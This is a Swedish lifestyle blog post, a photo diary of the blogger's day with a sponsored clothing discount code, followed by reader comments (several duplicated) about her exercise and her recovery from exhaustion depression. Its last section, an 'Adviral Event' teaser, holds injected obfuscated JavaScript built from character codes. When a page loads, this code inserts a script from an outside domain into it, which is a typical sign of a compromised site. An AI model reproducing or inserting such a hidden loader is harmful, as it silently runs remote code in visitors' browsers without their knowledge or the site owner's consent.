Min dag i bilder…. Världens snyggaste gym-bag!

Innehåller reklamlänk 

0DED5E5D-F378-4B28-BD30-FE10F7CDD618

Min dag i bilder…. Tvättstuga 07:00-09:00. PW i stan…. Älskar statspulsen ibland😄

Kramkalas med födelsedagsbarnet, min älskade vän ❤️

Jag är SÅ glad att jag har denna mannen i mitt liv! Ett hjärta av guld, genuin, omtänksam, rolig, klok, ärlig och en riktig KLIPPA! 

-GRATTIS Bobby på födelsedagen! Älskar dig ❤️

C98B9AF1-A7D3-4347-9897-A6FF35E6AE9D

Sedan…… En kaffedejt med ”Pt-Staffan” i solen på Hötorget.

-Nu är det offeciellt vår😎🙌🏻💯

408AD1EF-6EE5-440D-A6CB-1082E7A2C1D4

Sen lunchdejt på huvudkontoret hos ICIW. Jag spanade in nyheterna 😄💯🙌🏻 -Det kommer SÅ mycket fint! Spana in dessa 😍

5DB20A29-B4D2-4DF3-8411-D7734699A106 53A123C7-08DA-44D8-AD81-967C43F2C0B0

Med koden My15 så får du 15 % på hela sortiment 🌟😍🙌🏻

Jag väntar på denna ljusrosa-dröm-väska🌟🙌🏻

-Alltså HUR fin!?!?!

Så praktisk med alla fack! Alltså denna är ju den bästa jag sätt! Finns över i blått och vitt👌🏻

13C0A4EA-E514-412B-9466-7CCDD94B1820

In och shoppa loss nu! Du hittar hela sortimentet HÄR 👈🏻 Spana in min nya mjukisdress 💕

-I’m a pink lady😂💕🙌🏻

27FD5824-3AC4-4A1F-B301-E6652006316E

Efter lunchen åkte jag hem och hämtade Jonas. Jag skjutsade honom till centralstationen, då Basic Element ska vidare på gig☺️ Ikväll är dom I Örebro på Ritz och spelar med Haddaway, Annika Ljungberg, Dr Bombay .

-En riktig 90-tals kväll 💃🏼

AB155789-10F9-43AF-A7AF-F6694BE07D7E

Sen lämnade jag innerstan….. 

1A43A455-453B-4B21-87CE-C36303198AC3

Bytte om och åkte till gymmet…. 😅💪🏻

(Sport topp också ICIW)

CD37FDCA-AA98-4B22-96A4-6AE26F660332

Sen hem till ”frugan”, Tilda 💕 Hon har precis flyttat så vi rekar hennes nya område och storhandlar 😄

829423BD-6C03-4F58-8018-FD4F757B75E9 4CDA1536-1872-4F7C-8B14-25F4C14FA479

Jag har hittat ett mega-ägg som jag skall fylla med kläder, pyssel och annat smått och gott, inför att Lilleman ska komma upp imrogon…..☺️

Kram & gonatt!

/My Martens 

33 Komentarer

  1. Träningskläder, gym. lunchdater, stress hot och dit. Skulle verkligen inte vilja leva ditt liv. Men, smaken är som baken, jag tycker det hela verkar så ytligt bara. Utseende, kroppsfixsering mm.
    Tycker din blogg var mycket mer intressant förr, nu bara samma bilder från träning och handlar om samma sak hela tiden.
    Efter alla år så slutar jag följa din blogg nu. Har sällan kommenterat ditt liv men nu får det vara bra från min sida.
    Ha en fin påsk

    • Kroppsfixering ligger inte i mitt intresse. Den dagliga träningen hjälper mig tt hålla min ångest och min utmattningsdeppression i schack. Nu när jag kommit upp ”på andra” sidan” så börjar det tuffa arbetet att hålla sig just där…. Dagligen bromsa, känna efter, och balansera. Så denna vardag är min bästa medicin. I kombination med regelbunden kbt och mitt läkarteam. Träningskläderna, jag dom sitter ju på när jag tränar och är ett av företagen som jag stolt jobbar med =)
      Tack för denna tiden =) Glad påsk till dig också! kram kram

  2. Träningskläder, gym. lunchdater, stress hot och dit. Skulle verkligen inte vilja leva ditt liv. Men, smaken är som baken, jag tycker det hela verkar så ytligt bara. Utseende, kroppsfixsering mm.
    Tycker din blogg var mycket mer intressant förr, nu bara samma bilder från träning och handlar om samma sak hela tiden.
    Efter alla år så slutar jag följa din blogg nu. Har sällan kommenterat ditt liv men nu får det vara bra från min sida.
    Ha en fin påsk

    • Kroppsfixering ligger inte i mitt intresse. Den dagliga träningen hjälper mig tt hålla min ångest och min utmattningsdeppression i schack. Nu när jag kommit upp ”på andra” sidan” så börjar det tuffa arbetet att hålla sig just där…. Dagligen bromsa, känna efter, och balansera. Så denna vardag är min bästa medicin. I kombination med regelbunden kbt och mitt läkarteam. Träningskläderna, jag dom sitter ju på när jag tränar och är ett av företagen som jag stolt jobbar med =)

      Tack för denna tiden =) Glad påsk till dig också! kram kram

  3. Du verkar verkligen ha hittat din grej my. Det är kanon att att träna och leva sunt så som du gör för att hålla ångest och sömnlöshet i schack. Fler med psykisk ohälsa borde göra samma sak.
    Man behöver ju inte åka på dyra träningsresor, äta dyra maträtter eller köpa fina träningskläder för att uppnå ett välbefinnande fri från mycket ångest o annat skit. Nu kan din ekonomi tillåta det o der är ju bara kul för din del såklart.
    Härligt att du hittat din grej som sagt och passar på att ge dig en komplimang för hur du strålar och ser verkligen fräsch ut. Ha en fortsatt glad påsk?

  4. Du verkar verkligen ha hittat din grej my. Det är kanon att att träna och leva sunt så som du gör för att hålla ångest och sömnlöshet i schack. Fler med psykisk ohälsa borde göra samma sak.

    Man behöver ju inte åka på dyra träningsresor, äta dyra maträtter eller köpa fina träningskläder för att uppnå ett välbefinnande fri från mycket ångest o annat skit. Nu kan din ekonomi tillåta det o der är ju bara kul för din del såklart.

    Härligt att du hittat din grej som sagt och passar på att ge dig en komplimang för hur du strålar och ser verkligen fräsch ut. Ha en fortsatt glad påsk🐣

  5. Glad påsk My, så härligt att du hittat tillbaka till träningen. Har själv en utmattning och så fort jag försöker träna mer än prom, ändå inte hårt, blir jag helt skakig/darrig i kroppen. Hur gjorde du, hur ska man tänka? Tacksam för råd. Kram

  6. Glad påsk My, så härligt att du hittat tillbaka till träningen. Har själv en utmattning och så fort jag försöker träna mer än prom, ändå inte hårt, blir jag helt skakig/darrig i kroppen. Hur gjorde du, hur ska man tänka? Tacksam för råd. Kram

  7. Jag blir l i t e orolig My. Du gör så mycket och det händer så mycket i ditt liv.
    Det är ju inte SÅ hemskt länge sen du var i en utmattningsdepression.
    Är allt du gör relaterat till ditt jobb? Då har du det väldigt ”stressigt” med mina mått mätt.
    Dej du beskriver i det här inlägget blir man ju andfådd av att bara läsa.
    Bromsa, tänk till och ta det LITE lugnt.
    Jag vill bara ditt bästa och just nu verkar det gå i 180 igen.
    Man behöver inte alltid ha full gas. Man tar sig fram i alla fall.
    Kram och GLAD PÅSK.

    • Så är det verkligen…. jag bromsar dagligen. I ALLA moment jag gör. Jag går fortfarande på behandling 1gång veckan, där det är mycket fokus på just den balansen =) tack för omtanken. Jag vill även poängtera att jag fortfarande befinner mig påväg ur min utmattningdeppression. Men det kan skilja väldigt mycket. Vissa kanske aldrig kan hålla mer än 3 bollar i luften samtidigt, och då jämför man med det. För min del har jag alltid haft många ”bollar i luften”, så detta tempot är mycket lugnare än det jag tidigare har haft.. Inget är bättre eller sämre. Bara olika. Men du har helt rätt, det är min största utmaning och det svåraste för just mig =) Tack för omtanken. Glad påsk och kram tillbaka =)

  8. Jag blir l i t e orolig My. Du gör så mycket och det händer så mycket i ditt liv.
    Det är ju inte SÅ hemskt länge sen du var i en utmattningsdepression.
    Är allt du gör relaterat till ditt jobb? Då har du det väldigt ”stressigt” med mina mått mätt.
    Dej du beskriver i det här inlägget blir man ju andfådd av att bara läsa.
    Bromsa, tänk till och ta det LITE lugnt.
    Jag vill bara ditt bästa och just nu verkar det gå i 180 igen.
    Man behöver inte alltid ha full gas. Man tar sig fram i alla fall.
    Kram och GLAD PÅSK.

    • Så är det verkligen…. jag bromsar dagligen. I ALLA moment jag gör. Jag går fortfarande på behandling 1gång veckan, där det är mycket fokus på just den balansen =) tack för omtanken. Jag vill även poängtera att jag fortfarande befinner mig påväg ur min utmattningdeppression. Men det kan skilja väldigt mycket. Vissa kanske aldrig kan hålla mer än 3 bollar i luften samtidigt, och då jämför man med det. För min del har jag alltid haft många ”bollar i luften”, så detta tempot är mycket lugnare än det jag tidigare har haft.. Inget är bättre eller sämre. Bara olika. Men du har helt rätt, det är min största utmaning och det svåraste för just mig =) Tack för omtanken. Glad påsk och kram tillbaka =)

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/